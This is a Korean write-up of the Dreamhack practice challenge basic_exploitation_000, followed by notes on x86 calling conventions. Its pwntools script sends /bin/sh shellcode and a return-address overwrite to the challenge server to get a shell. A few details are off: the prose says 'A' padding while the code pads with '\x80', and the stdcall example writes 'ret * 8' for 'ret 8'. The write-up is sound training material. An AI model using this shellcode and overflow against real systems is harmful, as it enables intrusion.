(Dreamhack) basic_exploitation_000
문제 풀이
buf가 지역 변수로 0x80만큼 할당이 되어 있고, 이를 통해 ret 주소와 132바이트만큼 차이난다는 것을 알 수 있다. (buf크기 128바이트 +sfp 4바이트)
IDA를 이용하여 살펴본 스택 공간
from pwn import *
proc = remote("host1.dreamhack.games", 15867)
proc.recvuntil("buf = (")
bufAddr = int(proc.recv(10), 16)
shellcode = "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"
shellcode += "\x80" * 106
shellcode += str(p32(bufAddr))
proc.send(shellcode)
proc.interactive()
buf 공간에 26바이트의 쉘 코드와 아무 의미 없는 ‘A’를 106바이트만큼 채워주고 ret 주소에 buf 주소가 오버플로우될 수 있도록 하였다.
함수 호출 방식
함수를 호출하는 과정에서 매개변수, 리턴 주소 등을 어떻게 스택에 넣고 정리할 지 정하는 함수 호출 규약
sum(a, b)를 호출했다고 가정하자
_cdecl
_cdecl은 c언어에서의 기본 함수 호출 규약이다. 스택을 사용하여 함수 외부에서 공간을 정리한다. (스택 정리는 caller가 함)
push b
push a
call sum()
add esp, 8
_stdcall
_stdcall은 스택을 사용하여 함수 내부에서 공간을 정리한다. WINAPI에서 많이 사용한다. (스택 정리는 callee가 함)
push b
push a
call sum()
함수 리턴시 ret * 8 수행
_fastcall
다른 호출 규약과 달리 레지스터를 이용한다. 레지스터를 이용하므로 속도가 빠르지만 경우에 따라 코드가 길어질 수 있다.
mov edx, b
mov ecx, a
call sum()
_thiscall
c++에서 사용하는 호출규약으로 _stdcall과 비슷한 구조를 갖는다.
push b
push a
lea ecx, [ebx - 4]
call sum()
c++에서 자기 자신을 가리키는 this 포인터의 주소가 ecx 레지스터에 담기게 된다.
Enjoy Reading This Article?
Here are some more articles you might like to read next: